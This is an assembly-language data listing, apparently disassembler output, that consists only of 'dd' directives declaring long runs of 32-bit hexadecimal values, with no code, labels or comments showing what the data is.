dd 0EA008C77h, 3B3D2704h, 16641E8h, 0EC4295C8h, 72F7E4B5h
dd 0A8732CDCh, 0AF509F41h, 2F5540C6h, 475712D5h, 0C8D8028Fh
dd 0D0E476A4h, 0A31B1000h, 8A20531Ah, 0E00860E2h, 926C6E04h
dd 6F59D360h, 0D1CB724h, 791EE707h, 9824DF48h, 311650E1h
dd 5027F803h, 0BC80FD6Fh, 4E77D87Ch, 465443AAh, 0D1263B5Fh
dd 0AE9364C9h, 39E82C00h, 2CE3634Dh, 1146C86h, 7B1EE24h
dd 89FDF84Fh, 0AC453102h, 93A7757Dh, 0EE2D809Ch, 54087E29h
dd 857CA6h, 0BBC953D3h, 65EB0BC6h, 835FAC0Fh, 0FCC5538h
dd 5F6B8432h, 637C1900h, 73F19949h, 0BCA61618h, 5CC8904Dh
dd 3858EE57h, 79098134h, 0ADF0A4C1h, 0E8980055h, 0AE8EC393h
dd 6E00DCB6h, 0F37A0C52h, 13124A5Fh, 209131DAh, 0A358CF8Ch
dd 8B0F2B78h, 20BDAE93h, 0CA664960h, 17F3096Eh, 8C8D7CDh
dd 0E30050ADh, 8B8002D6h, 1108CAEh, 1209E07Ah, 0C9484F8Eh
dd 1C871A4h, 3949BC30h, 7A5F0188h, 4DD8B02h, 3CB1891h
dd 381686F1h, 3ED100E2h, 461A5174h, 2C0079D4h, 85983A90h
dd 53AB84h, 0A767508Eh, 0BB1DBAF5h, 0AA24C450h, 31FD8702h
dd 832D99F0h, 27BBD540h, 7CA0D759h, 88DD3BF1h, 0FB428C00h
dd 0B9A1B0Fh, 0DE1400B1h, 84B605AEh, 6CB41A68h, 7941881Ah
dd 1C003B14h, 720C97CCh, 2D002F29h, 9BB08CE2h, 48182635h
dd 275024A1h, 0F04F52BCh, 53AD047Ch, 0C32E75E9h, 1901CD80h
dd 4686905Bh, 61896D5Dh, 0F890751Ah, 0AC001B35h, 0D6897BADh
dd 0F033F20Bh, 0FF36023Eh, 0C1605758h, 267D090h, 1D49D239h
dd 80FEDC74h, 5710AFF8h, 9F31C8h, 5D448386h, 0A9847E48h
dd 4FBB1308h, 0B0F185C7h, 129C494Eh, 0C8268863h, 0A13251Dh
dd 20DA430h, 9A3E00F0h, 5D7B5BC0h, 1816AC21h, 740049FCh
dd 3580E92h, 0CBF93A41h, 48D085D1h, 7FA37F81h, 42C40095h
dd 0A98C1AC3h, 0C6011380h, 0D6A4E001h, 0A471AB5Ch, 1828DAC2h
dd 9004B3C7h, 0F0C8D24h, 10B2AE77h, 324B866h, 0F7F41AE9h
dd 0DBC275E4h, 7A05AC90h, 89F8EE70h, 40913F2Ch, 30D13C13h
dd 66DE6146h, 0D5432864h, 0E5660070h, 0CA1B8F0Dh, 75029A0Fh
dd 947B85B1h, 609862A0h, 67D71E80h, 60793134h, 2CD1236Eh
dd 0C6683Ch, 98BE69C3h, 9015386Dh, 7261179Ah, 0A782090h
dd 4500EF67h, 581B6ECFh, 70FB393Fh, 3120964h, 38838954h
dd 8008373h, 0F53CEB41h, 0E808EE9Bh, 44E898B7h, 972649DFh
dd 4E051D1Fh, 10C839CFh, 69A300E9h, 632C51C7h, 5632D111h
dd 2B3EF8AAh, 7C36FC00h, 3898EB0Ah, 0CCE4A904h, 88A2A2A6h
dd 6B132701h, 0CCC2B629h, 8E0034C7h, 44AE8FADh, 17ED9394h
dd 30EE5946h, 0B3ABBE4Ch, 0B5A45500h, 45BB6A2Ah, 0B8600AE6h
dd 18F20381h, 3EE48135h, 8FC94C0Bh, 0B40400E8h, 54215633h
dd 19F4072h, 0AA1D8338h, 0F0CD3C1Fh, 0D30F5785h, 0B3F9373Dh
dd 0B00D0709h, 0FE490590h, 8EF10B1Bh, 0ACC83B01h, 0BC07DEFAh
dd 1397EE53h, 8C76EDF0h, 4ED4B815h, 0C8905359h, 6D0068E0h
dd 9ED9DF50h, 9ED7B749h, 2D398080h, 8ECF5896h, 0D8C4FA3Fh
dd 8C9CC05Ch, 3F323E6Ah, 9293BB98h, 0E2D093E8h, 1CE77BA0h
dd 0A56C4D0Bh, 0FC340F40h, 0F72F9810h, 0A0524C22h, 2F404054h
dd 28F10C5Dh, 48A4EC71h, 617E88B2h, 8EBA2139h, 6824E9D3h
dd 224581BCh, 3C2067B5h, 3762001Fh, 90982796h, 0B1045905h
dd 5577FCDAh, 0C00020E2h, 6B12CB69h, 6301FF97h, 0F06A984Fh
dd 0F7C4F9A6h, 0CE6700C6h, 42586B10h, 0F848A962h, 447500ECh
dd 86B59FA6h, 5A63120Dh, 18CC0F54h, 77E888F6h, 9ED2A800h
dd 30803F26h, 895203B0h, 765F47D4h, 2091C92Fh, 0A27C7EB0h
dd 2CC407BAh, 9CE2B5h, 718A6F39h, 15873607h, 0C4C0BC7Dh
dd 0A277F747h, 407220h, 13A0AF6Ah, 1CAC6EBCh, 0E0E6382Eh
dd 1121BB18h, 827630h, 0A304E4F2h, 7F610C0Dh, 1CE1FA00h
dd 0CFDA86D3h, 13CE0041h, 0B6B43497h, 4C258EE4h, 8C6CA038h
dd 2640DCAh, 0A4FF931Ah, 8883DB37h, 2298B75Ah, 7300876Fh
dd 0F8F48876h, 7439B2B6h, 0B9098C0h, 81A95D65h, 735FE600h
dd 0F1C08C6h, 3801909Ch
dd 0EDCF8623h, 0E83430h, 0FEFB98BFh, 1DBE1B9h, 0F929C404h
dd 38E0DCA1h, 97A4B1DEh, 680C3011h, 438C679h, 180758DEh
dd 43E24D56h, 0B9AB0126h, 80329D65h, 6432E8h, 44114EAh
dd 3B6E2EDh, 33723F1h, 0F9F8C61Fh, 0A10E8608h, 0E0A72D51h
dd 3D3CDBFEh, 9F7A152Eh, 2C3DDCD4h, 1E822080h, 0A8A15FADh
dd 0DD053206h, 72D0D1EFh, 40EC12CDh, 0F6780C7Bh, 88943A79h
dd 9E0B2E40h, 24303B0Fh, 0EA06800h, 4DB2AAE9h, 0A9F27CB8h
dd 56609804h, 0A0974C8Dh, 3C907F45h, 2E063EA4h, 13DE8EAAh
dd 0D60AAA98h, 520C3499h, 48405Ch, 189747B4h, 0C88CF9C1h
dd 0CC24B676h, 7B1E84E8h, 58672643h, 6188E8DDh, 7CA40C38h
dd 5049BE90h, 92A07A00h, 4A0A4E59h, 23EC06h, 3243B4Ch
dd 0B4B6C649h, 6A6E2E00h, 348B1FA5h, 8C945C0Ah, 0BB99A680h
dd 3D00C151h, 0D1F4D561h, 48A82F37h, 13000C08h, 0F98408Eh
dd 0F4A061C6h, 5088CCD1h, 0B15E03ABh, 60701FB4h, 8B8F7EA8h
dd 20905325h, 69CE9A8Ch, 42EA1D4Bh, 0CD40F2C2h, 0ECA85B21h
dd 93F8C60h, 75469FC7h, 0CB3B8098h, 509E88h, 0A9D2A60Fh
dd 0A04E6A75h, 0F3F2F90Fh, 718141Ch, 0A5035CAh, 5E559460h
dd 5CB10BF2h, 0EC6EDAF1h, 0EB3C7C1Fh, 863D07CBh, 2695EEFh
dd 61DA80D0h, 7C7299E3h, 0CA24CB00h, 0F752F682h, 515F053h
dd 46178D6Fh, 7778C862h, 5852424Fh, 0E601A0A2h, 84F7443Dh
dd 0CFABE443h, 4EB81002h, 46418CD1h, 593100E0h, 9907E6AEh
dd 9D0C7E1Ah, 0D902BC5Fh, 101B0483h, 804E40A7h, 7B0DC2E4h
dd 0BF68DF16h, 14CFE430h, 42FAEAh, 5FDB7530h, 39EEF13Dh
dd 9FB9F418h, 11D9B2F0h, 1CA3B98h, 0FA33D223h, 0E8304C1Fh
dd 4AF490A9h, 51B88842h, 0DEA01801h, 0DFE45AF1h, 5F138880h
dd 7C09CCABh, 892A860Fh, 0A8978A4Eh, 0DBDC7701h, 0B82D91C6h
dd 7249E200h, 51B4BFC7h, 2E3D2175h, 1F173896h, 0AD0459F7h
dd 78B06D4Ah, 0E18C0A32h, 60D8B1F0h, 77473DFEh, 40C34D2Eh
dd 44588C28h, 7D83C030h, 0FE4272h, 363115C4h, 608DC330h
dd 24B4E32Ah, 3FF1F716h, 91CE0803h, 4E191CC5h, 0D1F50044h
dd 7C7A775Dh, 9915811Dh, 80220F0Fh, 205FFC28h, 6FFD007Dh
dd 0B85A8FC0h, 1D160198h, 14209F54h, 3AF1AD2Ch, 9509E05Eh
dd 1C713896h, 2EF99800h, 0EB50309h, 0C9EEF6BCh, 0CDCCC784h
dd 0B168F898h, 20596624h, 0E9CD1E00h, 1A5AEA9h, 3F225ED5h
dd 2031BC20h, 4760687Ch, 0A625E708h, 0FBCC02A1h, 3D044697h
dd 4101A8E6h, 0DABC0BD1h, 18AC19BDh, 8CDB6000h, 88007FDCh
dd 0BAC05FFAh, 4B95F3EAh, 0F714CCA3h, 1727CF0Eh, 6CE20B2h
dd 0D77423h, 0B84CBD0Eh, 802DAE9Dh, 0DA310318h, 182C1FD8h
dd 718E3889h, 993C6BE3h, 71180B0h, 4466D364h, 455D009Fh
dd 0F936E663h, 0F52F6AB1h, 3C741096h, 79F400B9h, 8D758EEFh
dd 0A8F6B0D9h, 98340B04h, 80C2D565h, 151E2027h, 4700BA21h
dd 315F078Fh, 90C7A7FDh, 2B75041Ch, 88E896EDh, 86008D68h
dd 0AA818E9Eh, 9B28263h, 21046A09h, 0A0E5E087h, 192603FFh
dd 384AA57Bh, 0FAD21040h, 59EE02h, 57B13E10h, 0F8C3459Fh
dd 209D1209h, 0D9D804CCh, 0C1785F41h, 0F106F58Bh, 8008284Ch
dd 7D1BA848h, 6B6309B1h, 7C03952Dh, 1A04BE81h, 0CD764105h
dd 511224D0h, 0BA4C0037h, 94487E0Fh, 129DC991h, 0ADFF8058h
dd 1216D1D9h, 903BED93h, 7FABEA7Ch, 823A4438h, 55346388h
dd 40519Bh, 50752F15h, 72162D5Dh, 88058C5Bh, 32C13906h
dd 4560BF6Ah, 63D8130Ch, 536830D3h, 9F3ACB4Ah, 351D00CDh
dd 60EEA112h, 0BD4894D6h, 1FDBE000h, 9D6D7B6Ch, 3088A24Bh
dd 2F2A001Eh, 22E6CB41h, 0A67F66DEh, 0E4215424h, 7F0060A2h
dd 286E301Dh, 0B33CD8h, 0C8034ABBh, 5A0C0456h, 6B0068B8h
dd 0E74E29ABh, 0A09E283Ch, 4481EE0h, 4D30DAAFh, 0F35CE476h
dd 32D3D400h, 0DC247964h, 0FEAB3EBDh, 0E0B9B185h, 1C94B095h
dd 29143E00h, 919DD3B3h, 0F0EC92C1h, 609A07BFh, 0B0B1F707h
dd 0FE444311h, 0D55C6674h, 0B6368058h, 383BE7A6h, 0F2026E3Dh
dd 492F9933h, 2DF55861h, 64B309F0h, 4130E83Bh, 16A000E3h
dd 6204FBF1h, 2E001EF5h, 0B1A6E82Dh, 87B860h, 98B9DC09h
dd 9046DB6Ch, 0AE80FCB4h, 3E403959h, 3F121C0Bh, 4FE3DDA0h
dd 5A247FFBh, 0A2ED85D6h, 0FEA40048h, 4CA26E62h, 86F823BEh
dd 9B52C00h, 13DC98h, 9C847477h, 21085E4h, 797C12Fh, 459B2D4h
dd 46C1C6F4h, 0C9A5FF58h, 7A007C66h, 2FCBE110h, 1F46E9CAh
dd 0E60599B1h, 821C1FBCh, 3229E5B7h, 2887F851h, 0BFF23D4Ch
dd 9BC5498h, 0E08F2519h, 0E0ACD528h, 469C3429h, 840505Ch
dd 0D728453Eh, 0A14D72BBh, 12103448h, 2F078785h, 0B9C8AC0Bh
dd 4C703BE6h, 3E17B942h, 7734C88Bh, 0D1023500h, 55DE09ACh
dd 0DF9D486Fh, 82CC761Fh, 0F84806A4h, 4A03E054h, 0B82C4D5Eh
dd 97382CEh, 0D625A2E5h, 0E0DD3492h, 1609BCC0h, 0E96D2h
dd 43051B9Ch, 0A93C6377h, 93605876h, 8FE8BCC9h, 7F305F8h
dd 0A266D97Dh, 0C4DB0014h, 10842ECCh, 0CD6D0F26h, 0D720AF5Eh
dd 0A261E0F0h, 14E8A824h, 8D5D7903h, 0E4889899h, 4480B4BAh
dd 0D520304Dh, 0C3DB0182h, 0B3A5F651h, 996480F8h, 0BA10C18Bh
dd 0C03400DDh, 64F4D042h, 0D10B0698h, 98FE8EF0h, 947F5Ch
dd 74D2873Bh, 8A9B6580h, 841CE07h, 0B82037C2h, 5BD14799h
dd 0A8D440D7h, 92254D0Fh, 12001EF8h, 75189FAEh, 5E641098h
dd 0F136B0A5h, 855CBC48h, 1DC0B17Eh, 0EB29627h, 94A3FF48h
dd 1E0364A3h, 8FDBBCD8h, 0D94070B1h, 7CCC1F4Ah, 0B9FA0067h
dd 189966B2h, 0FC01919Ch, 33B71E41h, 0EC4132F5h, 0A8299F49h
dd 21E68400h, 2635CCD3h, 7E1BC100h, 0F60C3140h, 17BF730Eh
dd 0C8BEF192h, 0CF4BFE8Ch, 3F80F824h, 0BFEC81EBh, 0AD5BF840h
dd 0D03CCA0h, 30BE9FEEh, 0F1E5680h, 7C9239EAh, 9C209D40h
dd 0BC555464h, 5C193E00h, 7B9D9997h, 1320744Bh, 25EB152h
dd 3E0A4858h, 2E40A076h, 0EACDDDh, 331BFFAEh, 0CE7EA57Ah
dd 41EDAA07h, 8A0098A9h, 0C0BC90A3h, 0B6F63469h, 0F03C626h
dd 5B073CA7h, 1AE0989Bh, 4030BE7Ah, 51140921h, 9A93AA07h
dd 9710E8ACh, 18677DBh, 8D9843DFh, 0C4298EB4h, 734B34F7h
dd 0C30C0D1h, 0E53EECh, 0DD90AEC7h, 0EAC66777h, 362D6902h
dd 90BDF19Eh, 9198C88h, 962CB5F7h, 0DC001859h, 0FDF46EC2h
dd 45A158D6h, 0F0088C05h, 0E510B5F6h, 0A8EAE7B1h, 0FB0AE077h
dd 8FA40467h, 0C85D47FAh, 20959170h, 7BF7E540h, 3A557A7Eh
dd 0C997573Fh, 0CE448894h, 0C6785100h, 0D1B4F00Ch, 956301E7h
dd 5206A7EFh, 2FE1D01Eh, 0C473042Ch, 4E8DA940h, 4CD871C4h
dd 1C129042h, 3AA8B2A3h, 43580067h, 377FB9D4h, 9B8E0088h
dd 8704FB6h, 741CC9FDh, 0A89D086h, 0B53083F4h, 0B7DAB0BEh
dd 7BDBF21Ah, 3118C01Ch, 6147E1BDh, 0B6895896h, 96806876h
dd 0A09500FAh, 918C69C3h, 2F61F21h, 77C55B12h, 82DFDCA2h
dd 0D25A2140h, 70A97360h, 836C2427h, 4F4FBCC0h, 940D858h
dd 0AB00C87Ah, 0CB02E153h, 3F94687Fh, 0F5841131h, 0A81B78BEh
dd 766180D4h, 0E8E56C15h, 24A09FAAh, 0A71F2EFCh, 98AB8902h
dd 40078E64h, 20F36C4h, 6F0BADA0h, 84D13C75h, 0D8DB640h
dd 0C93F0156h, 0A92EBAC6h, 0D7C0C3EEh, 9978DE55h, 81DA5312h
dd 17623CA0h
dd 30C6BC34h, 48BF7DCCh, 0A82BEF00h, 50801A3Eh, 94CB0DAh
dd 91819EB8h, 0C2820EBh, 2A03D86Bh, 0FEF940B3h, 0C843B7C2h
dd 3DA3B071h, 278F0244h, 0A77731DAh, 462F6052h, 87E4A05Dh
dd 0BC0657Fh, 0E54EBC31h, 103E00E9h, 0B87EA366h, 0E7E300FDh
dd 13ABE953h, 437DB3D4h, 2772571Eh, 0C003B116h, 0A010D539h
dd 12DEEB16h, 90D7BCF3h, 0DC514F8h, 0CBC05402h, 0F1A3ED33h
dd 580584ECh, 3A0CA973h, 8480217h, 729110BBh, 0ADD40020h
dd 7ADC7B09h, 32006BB7h, 4C56900Ch, 9475D188h, 6A804ED0h
dd 5462999Bh, 2C016C79h, 9D86AFCBh, 0E822BFF1h, 38A75851h
dd 0A8966400h, 209DD631h, 50DB7350h, 0AC5A0397h, 6684F063h
dd 7E10F490h, 7C133874h, 18B6189Eh, 650D600h, 0AA54AE94h
dd 9F788872h, 5177AD00h, 0BE60EEF8h, 5C9991h, 0D2C2A450h
dd 0E5032193h, 0AB087517h, 189BE0B2h, 14700083h, 24CBA0A7h
dd 0EE4BF9B5h, 0BB9F7C20h, 575F24B4h, 0D4BAC0B0h, 0EC0ED84Eh
dd 401D649Bh, 0CBD33DAAh, 806499F0h, 0F2542CA3h, 0B10961FFh
dd 683B6A2Fh, 0C6AC88h, 1EF1ED64h, 7EC3BE56h, 0B7390B0Eh
dd 0B298818Dh, 5070B08Eh, 84B14D2Eh, 0BD585E80h, 0DCE5A093h
dd 74018735h, 0E3DDB61Ah, 5070E44Dh, 0BFF02F3Eh, 0FB3B9C91h
dd 0E597900h, 9BD25F6Dh, 901B0116h, 67EF8C95h, 73086292h
dd 9DF34900h, 59B826FCh, 0D73E001Ah, 2086026Bh, 3B4877A1h
dd 9A0A80C4h, 7A9227EEh, 0E12505C2h, 0A680CFF6h, 0C0D900A0h
dd 91C4999Fh, 0B303132Ah, 0AE9B01ACh, 6098E4A8h, 424F40ECh
dd 9D002C87h, 91286AAh, 55757CA0h, 8076A092h, 510B9740h
dd 482002E2h, 6C2C50DEh, 0AF5FF760h, 838F3CB1h, 186BE092h
dd 711B9AB1h, 0F7250030h, 0B2EB8D21h, 79014A87h, 0A6E94593h
dd 20723898h, 0FA813C00h, 0B8215AD1h, 8B157200h, 0CAFFBBDCh
dd 38D4A89h, 0E414E684h, 0F8EB1AA0h, 0F699A609h, 76ECC27Eh
dd 9E803F98h, 0FA5968B0h, 0C02E2A3h, 6F08C2EAh, 8CD29Fh
dd 6DB98D17h, 9260F788h, 0B3001273h, 8B73F541h, 908E7999h
dd 8154858h, 63D7B0Eh, 4D23620Fh, 13C2F918h, 0A62E2466h
dd 0E205CD0Eh, 0F1002128h, 0B4AFC63Ah, 0E6B100F3h, 3658C88Eh
dd 9938CD1Eh, 60980067h, 0B5842E07h, 8080B1A4h, 0C7B012F0h
dd 22028F2Ch, 361E1340h, 0E459E1h, 6B0E42E5h, 5D0333C9h
dd 8EF0DD73h, 0D1A5CBFBh, 0A2E64DBCh, 0DEA4D8C4h, 0A646092Ch
dd 6611B878h, 7707E33Bh, 0D0921043h, 59FC61C8h, 0B8DC8F00h
dd 9D14B28Ch, 0D622075Fh, 0B0293290h, 8F96457Fh, 614A4630h
dd 0B86FB4D0h, 0B57388h, 6DB2AA29h, 8B10D30Bh, 76920102h
dd 0C4D63DA4h, 53BE0060h, 3210C8BDh, 9A00C155h, 27F06AC9h
dd 18069AEh, 15B10114h, 3A3BEA0Eh, 435E0C40h, 0FBB211h
dd 60B3A81h, 0F00240A4h, 97DCB35Ch, 7EBC88h, 90FF7537h
dd 69DA88BBh, 6CB14805h, 78A9D76Bh, 80CFB81Eh, 0BBA3FD32h
dd 0A000051Dh, 4B2B913h, 71B7499h, 2B5B36CDh, 60180BBCh
dd 0CE141D9Dh, 22B4C4ADh, 29AF8DEh, 36938A37h, 0D8C62D9Bh
dd 0F75E0701h, 0B9223D2h, 6917F02Ah, 0F1A43600h, 0C5C7677Bh
dd 994A38B6h, 98B98501h, 701B6E15h, 808B5118h, 0FE45E61Ch
dd 4038B687h, 2136DEB4h, 81424E3Ah, 0D6D25957h, 0B7F0AB75h
dd 15CB0B18h, 0A8139417h, 541BBD98h, 91367117h, 5D400000h
dd 18474Eh, 7CA307FCh, 469FEE7Dh, 643BF727h, 0F300B04h
dd 0F4008D92h, 64F3A534h, 209D1098h, 0EFBDFD68h, 8850917h
dd 342BEB7Ch, 8B310C00h, 5F2F0BCBh, 7154028Dh, 12507EB5h
dd 7D1C0212h, 6041DA60h, 2789019h, 0BE8916CFh, 1E4C40C4h
dd 0D18A79B0h, 0DECF0040h, 501A7718h, 22330800h, 1C1F920h
dd 0FA2F3DD6h, 1C64A7ADh, 0CB61C885h, 602FDCEBh, 8C06B758h
dd 76336B14h, 7C64017Ch, 0C28A7A47h, 4C397839h, 49311184h
dd 0A7ABC056h, 271C037Ah, 0CE006638h, 5182FADEh, 2248A09Fh
dd 7A86007Ch, 95FF3FA3h, 9A0732ACh, 9F4BAE19h, 7E918220h
dd 80709101h, 2770644h, 0C301D2D7h, 4F0F3C3Bh, 882108A7h
dd 840BB869h, 4482C8DAh, 1820CA03h, 4CE75C05h, 0EA00447Bh
dd 353DFD7Ch, 3E00490Fh, 6BE19DAh, 56B703h, 0A4D03FCEh
dd 86F0AEEBh, 7ED86950h, 0F1959109h, 800064F7h, 0F4F947E8h
dd 519B1D67h, 25390B5Bh, 0CE7A3C80h, 0F3001C31h, 86E48556h
dd 18C9DA66h, 0D149BB1Ah, 4F7D4E83h, 0C5156017h, 0C1B89C14h
dd 9DDBC77Ah, 2ECB6430h, 2864A00Ch, 60666318h, 5FA3EB23h
dd 1AD03102h, 5EC160EDh, 8DAD87D0h, 0A36397C9h, 6CB8E950h
dd 0B9027823h, 76A94FDAh, 400479A8h, 30BD1ADDh, 9FE67100h
dd 0EAD18B1h, 54B13Bh, 30E0FDEBh, 3D002EB5h, 9F77F558h
dd 93A2E5h, 1FA16760h, 0B8E19AA5h, 6573CCE3h, 5C4D74Ch
dd 7D810D02h, 34C0C044h, 7826D0C0h, 7B112E8h, 0B760A0A6h
dd 5F9EC21Ch, 268D1480h, 2E368C2Ah, 4D32FCh, 10CE2708h
dd 5100A3EDh, 0B083B9A9h, 0B9F6F022h, 5DA60084h, 89AF41Eh
dd 7047549Ch, 0E4D80039h, 76CEC3h, 32CBB5B4h, 5DCB0A7h
dd 30A89A32h, 0B4002B34h, 0A9A7B98Fh, 0B185F500h, 45079FCBh
dd 77A617E2h, 1014F0AFh, 0D3DCCB0h, 6CF18308h, 0C003E2C1h
dd 733EA80Ch, 68EB2C4Eh, 44C28AEh, 3C50B8E0h, 0BA28E4D7h
dd 139010B7h, 3FCB2C07h, 90BF130Ch, 31DBF9F4h, 11D39130h
dd 5181A2Fh, 0D89B906Ch, 0BA4167Bh, 1C184B6Eh, 0E839A326h
dd 0B6ED0013h, 0A1427A43h, 0C4B10D70h, 96C09A9Fh, 5800E858h
dd 399865Bh, 403CBC2Ch, 1CAFAD1Eh, 0E2675200h, 23B66FC2h
dd 0AC2448DEh, 7A39CD22h, 0DDA89A1h, 0FE84022Ah, 3B6CECEEh
dd 51BEC602h, 0FFC84D00h, 0BF6B25BEh, 58FC6200h, 7798222Ah
dd 3D040214h, 99E12E52h, 57806CC5h, 3BB3B5EFh, 0D1662CFBh
dd 4F79001Ch, 0D664144Dh, 98955E00h, 8ACCE405h, 40394EF4h
dd 87DF7F04h, 84995E67h, 0C6F16E80h, 96461Ah, 98BAE67Ah
dd 0AA04B38Fh, 0EFCD8000h, 0B8B00E87h, 9EB10FA3h, 27C26B22h
dd 0BCD64FBCh, 0E21F8041h, 3103FC60h, 0D0F10446h, 83D038B6h
dd 0C81FC132h, 5FCFAC35h, 0A94C88EBh, 990C570h, 0AF783171h
dd 582FF000h, 422981B8h, 81A74FBDh, 3E1FB7C0h, 0D0150C20h
dd 0AA3F0248h, 6741B2DCh, 34BFA840h, 0E023F15Eh, 6440C78Bh
dd 0B5CA09Eh, 2AF9E80Bh, 7400C4F1h, 483D0D9Bh, 8BA90015h
dd 881F0FC7h, 137A1099h, 8E7F8004h, 8C0F6B98h, 7400C769h
dd 0CB219D31h, 77E03C09h, 9EECC8CEh, 230B9E8h, 0A46566AAh
dd 1969DBC0h, 5BA5E11Ch, 2808A797h, 4A0589CDh, 4DD4A001h
dd 0BAB7C8EBh, 0B2F81460h, 0E8A93710h, 0B40945Bh, 481858BCh
dd 2E05ED91h, 4EBB1F4Fh, 87E008B5h, 9A27D06h, 0C76A84EAh
dd 0A300C864h, 33D1DF58h, 2CBC0DA5h, 389E2729h, 5CE54280h
dd 1F2F779Ch, 3E248C00h, 17906D99h, 3DD50134h, 61898A9h
dd 3A986104h, 0D4C09834h, 2787A908h, 8C44F00Bh, 2820D600h
dd 0B8703FE2h, 0A84901DCh, 772BA713h, 630876Ah, 0A347AA05h
dd 64200059h, 32AB80FDh, 10108277h, 91055C70h, 0BB980B40h
dd 6E879381h, 2D3BE4F0h, 0D4446A33h, 0FDCC0C04h, 0E880BF52h
dd 12A510E1h, 919F54D3h, 0EC7797ACh, 0BD030328h, 55903518h
dd 0D41685ECh, 736CC8h, 5DC84E63h, 40A13A09h, 0A746EC3Bh
dd 1110C439h, 6CD60Ah
dd 5169ECEAh, 10EA3C4h, 0A024BBAEh, 0C8CA100Ah, 6F5A70D1h
dd 45DC88h, 84B5A2B8h, 0D32361FBh, 3EBDE900h, 3FAA1C73h
dd 6890956Fh, 2E016451h, 421A8A4h, 0AC72BE8Dh, 6957C802h
dd 90E1BB7Ch, 0A4B215C9h, 1E8B9407h, 48B5A0D5h, 900571AAh
dd 190A8A3Fh, 4E969080h, 73FA8Fh, 0DAECC3B5h, 0FC9B4118h
dd 0B0B120B8h, 74F44025h, 1F514473h, 9B11E807h, 0EE10A0F3h
dd 0B190724Dh, 0A6920238h, 0DC51FEDBh, 0C84FB080h, 0D2AB29h
dd 0E4AEFB47h, 6D5A9F92h, 5088ED4Eh, 44A90071h, 952D7665h
dd 0C700E551h, 8FEC3037h, 1222479Ah, 529D2ADDh, 0F0203014h
dd 0EB006776h, 6F8B218Ch, 7CCEA177h, 1CB259C5h, 5CDC689Eh
dd 130064EBh, 792072FDh, 4B015F85h, 0F86F3C2Fh, 0D931298Dh
dd 89C4172Bh, 0E01631DCh, 30020559h, 0C58C1E6Fh, 0E4D944h
dd 0F5FE8003h, 4C0221B0h, 7695106Eh, 62F4E050h, 0C824A39Fh
dd 6B122C9h, 0A1A749F2h, 1095A8EEh, 27724BA4h, 0A8EE0CA6h
dd 0B9003490h, 0F96B71Fh, 1F39A82Ch, 1311B160h, 0C7382027h
dd 0B6008546h, 0FD0E1FE8h, 2358EF8h, 0B1EC7404h, 0C181FAB4h
dd 631243C0h, 75E5004Ch, 0C4D9F5ADh, 0B7F206h, 69FCB121h
dd 2B4DB9B8h, 9940ACBCh, 78E4E665h, 72760Ah, 1FBFB15Ah
dd 6A627CDh, 25F3EE17h, 0A47D7C01h, 6C404176h, 9475E08h
dd 6D5078F8h, 2504A044h, 0F9929F44h, 3103B4F2h, 34D1C7E9h
dd 0F0036799h, 0D0B928CBh, 2CB98D18h, 66253C5Ah, 14F5B90Eh
dd 7793E720h, 3F799BF4h, 3F19FF3Eh, 644E256Bh, 418F01D8h
dd 569070F6h, 0BAE1ECB8h, 0B3732806h, 81B4E4h, 0B2B1843Ah
dd 5F6A017Ah, 7C382238h, 0D4D7D327h, 8CE52D96h, 0A48892C4h
dd 6785006Dh, 1621569Ah, 300AFCCh, 0BA5BD4C6h, 417848Ch
dd 0FE99B89Dh, 0CE5FC095h, 0E0597FAh, 0B5F06DF8h, 0C90574F3h
dd 0C278A5F9h, 8425F28Ch, 90CC8C8Dh, 9F3D0131h, 4406D8B7h
dd 5669C07Dh, 486982Fh, 28B8632Ch, 85A2ED80h, 0CEEC2E57h
dd 0CB903E38h, 644CCD0h, 0E691006Dh, 0ACFDCBE2h, 7A006765h
dd 5E4D7C8Fh, 294E69F9h, 88762Ah, 0B95EDCEh, 6A3925F1h
dd 0AC030F02h, 0A2C9DD77h, 0A8498B1h, 79950022h, 0E2761733h
dd 0D803E99Bh, 0E3AD8AC8h, 3CACCC98h, 86F106C1h, 0BD71C463h
dd 0BE311F02h, 0E1DAEBF9h, 0D0400594h, 61F16Fh, 0BCA6F871h
dd 66D450B1h, 158EF001h, 75135C96h, 8300A03Dh, 0DA9DDBBAh
dd 0EC168D36h, 2420C2B6h, 5CB42A15h, 0D511F019h, 485F03D9h
dd 0C89B3418h, 2DBF051h, 270391DEh, 50D473DAh, 3094CD80h
dd 3173116h, 8229D53Ch, 64F9B96Bh, 8F19E86Dh, 4C82F48h
dd 0D58C2A08h, 83BD28C3h, 4125A818h, 456900ABh, 68356143h
dd 8C075EEh, 149A5985h, 501C078Bh, 0F0BEC644h, 6EE6F429h
dd 3AC8080Ch, 612834h, 0F7772E45h, 97793970h, 18D1CF30h
dd 2C0335h, 90D62F95h, 0DB5069AAh, 4DC369C7h, 2845F33h
dd 0A0397711h, 9920D673h, 0C1DAB4h, 0AFD814ACh, 0D1B79B0Eh
dd 2489CC3Fh, 0DF00584Bh, 682691F3h, 60855050h, 0DB5640ACh
dd 90D4000h, 9E22B0DDh, 17BA06A7h, 0B9675B63h, 5024300h
dd 0F7D8A679h, 0C31100C2h, 0CE8BBFCFh, 9E0A6C06h, 80A78FE7h
dd 0D640F403h, 86919EFh, 10C4E8A5h, 4D0B9Bh, 0FA65C0D6h
dd 0FF074778h, 5762E7Bh, 6F6D500h, 0C8628C4Dh, 8A10070h
dd 2CDE2ABh, 491EE935h, 0CA01A62Eh, 2AE3C8CFh, 0F155A180h
dd 39EC4E3Ch, 0CC62062Ah, 29698200h, 1596E2F0h, 0B981006Ch
dd 194C0526h, 822EA52Eh, 0E00101D7h, 68EEE68Bh, 7A0039BAh
dd 66D39B05h, 8318532Ah, 18C1C7CFh, 6A1E000Fh, 0CAED7AA1h
dd 3800FC64h, 7FA6191Ah, 18FA7716h, 31E2CF4Fh, 8D07099Dh
dd 72F024B7h, 0FDAD5DA0h, 4CBB011Dh, 0D8296B80h, 9F644059h
dd 3F00F0CDh, 7F2C7DA0h, 1635762h, 4C7BD076h, 4C15BE6Ah
dd 7E0038DCh, 0C3DFEA8Ah, 69AF6h, 70DC82EFh, 64A80F19h
dd 0E7522E98h, 0B122F8h, 0F0D8E21h, 22E9B7BFh, 7264C900h
dd 4850B66Bh, 0D67B018Ah, 99352082h, 9D343023h, 0DD2BD400h
dd 7815EA50h, 4939153Eh, 2C009874h, 1C770837h, 0ED307D67h
dd 0E932694Fh, 0A0590088h, 0A3D449EAh, 2C4ECC4Ch, 0C5099E8h
dd 880B48BEh, 42849602h, 84AF305Ah, 117C4680h, 0D73D9CDEh
